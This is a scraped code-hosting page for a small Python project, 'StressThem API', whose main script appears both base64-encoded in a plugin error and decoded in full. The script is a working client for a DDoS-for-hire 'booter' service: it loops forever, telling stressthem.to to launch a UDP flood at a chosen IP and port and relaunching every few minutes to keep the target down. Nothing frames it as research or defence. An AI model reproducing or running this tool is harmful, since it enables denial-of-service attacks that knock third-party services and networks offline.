@pieromqwerty/

StressThem API

Python

No description

fork
loading
Files
  • main.py
  • LICENSE
  • README.md
  • sthold.py

This Plugin Crashed!

Error: Error: must not create an existing file {"type":"CREATE_FILE","wid":"0.561662784825876","path":"main.py","file":{"path":"main.py","content":{"asEncoding":{"base64":"ZnJvbSBhcmdwYXJzZSBpbXBvcnQgQXJndW1lbnRQYXJzZXINCmZyb20gcmVxdWVzdHMgaW1wb3J0IHBvc3QNCmZyb20gdGltZSBpbXBvcnQgc2xlZXANCg0KZGVmIGhvbGQodWlkLCBpcCk6DQoNCglwcmludChmJ3t1aWR9IGhvbGRpbmcge2lwfSEnKQ0KDQoJd2hpbGUgVHJ1ZToNCg0KCQl4ID0gcG9zdCgnaHR0cHM6Ly93d3cuc3RyZXNzdGhlbS50by9ib290ZXI/aGFuZGxlJywNCgkJCQloZWFkZXJzPXsnVXNlci1BZ2VudCc6ICdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZScgKyBcDQoJCQkJCSdXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzczLjAuMzY4My4xMDMgU2FmYXJpLzUzNy4zNid9LA0KCQkJCXRpbWVvdXQ9MzAsDQoJCQkJY29va2llcz17J1VJRCc6IHVpZH0sDQoJCQkJanNvbj17J21ldGhvZF9sNCc6ICd1ZHBtaXgnLCAnaG9zdCc6IGlwLCAncG9ydCc6IDgwLCAndGltZSc6IDMwMH0NCgkJCSkNCg0KCQl0cnk6DQoNCgkJCWlmIHguanNvbigpWydzdGF0dXMnXSA9PSAxOg0KCQkJCSNwcmludCh4Lmpzb24oKVsnbWVzc2FnZSddKSAgIyBBdHRhY2sgaGFzIGJlZW4gc3VjY2Vzc2Z1bGx5IGxhdW5jaGVkIQ0KCQkJCXNsZWVwKDMxMCkNCg0KCQkJaWYgeC5qc29uKClbJ3N0YXR1cyddID09IDI6DQoJCQkJcHJpbnQoeC5qc29uKClbJ21lc3NhZ2UnXSkgICMgZXJyb3INCgkJCQlzbGVlcCgzMCkNCg0KCQlleGNlcHQ6IA0KDQoJCQlwcmludCh4LnRleHQpICAjIGVycg0KDQpkZWYgbWFpbigpOg0KCXBhcnNlciA9IEFyZ3VtZW50UGFyc2VyKGRlc2NyaXB0aW9uPSdleGFtcGxlOiAtLXVpZCBhYmMtMTIzLXUtaS1kIC0taXAgMTI3LjAuMC4xJykNCglwYXJzZXIuYWRkX2FyZ3VtZW50KCctdWlkJywgJy0tdWlkJywgaGVscD0ndWlkJywgcmVxdWlyZWQ9VHJ1ZSkNCglwYXJzZXIuYWRkX2FyZ3VtZW50KCctaXAnLCAnLS1pcCcsIGhlbHA9J2lwJywgcmVxdWlyZWQ9VHJ1ZSkNCglhcmdzID0gcGFyc2VyLnBhcnNlX2FyZ3MoKQ0KDQoJaG9sZChhcmdzLnVpZCwgYXJncy5pcCkNCg0KaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoNCgltYWluKCkNCg=="},"asBuffer":null},"loaded":true}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from argparse import ArgumentParser
from requests import post
from time import sleep

def hold(uid, ip):

	print(f'{uid} holding {ip}!')

	while True:

		x = post('https://www.stressthem.to/booter?handle',
				headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Apple' + \
					'WebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36'},
				timeout=30,
				cookies={'UID': uid},
				json={'method_l4': 'udpmix', 'host': ip, 'port': 80, 'time': 300}
			)

		try:

			if x.json()['status'] == 1:
				#print(x.json()['message'])  # Attack has been successfully launched!
				sleep(310)

			if x.json()['status'] == 2:
				print(x.json()['message'])  # error
				sleep(30)

		except: 

			print(x.text)  # err

def main():
	parser = ArgumentParser(description='example: --uid abc-123-u-i-d --ip 127.0.0.1')
	parser.add_argument('-uid', '--uid', help='uid', required=True)
	parser.add_argument('-ip', '--ip', help='ip', required=True)
	args = parser.parse_args()

	hold(args.uid, args.ip)

if __name__ == "__main__":
	main()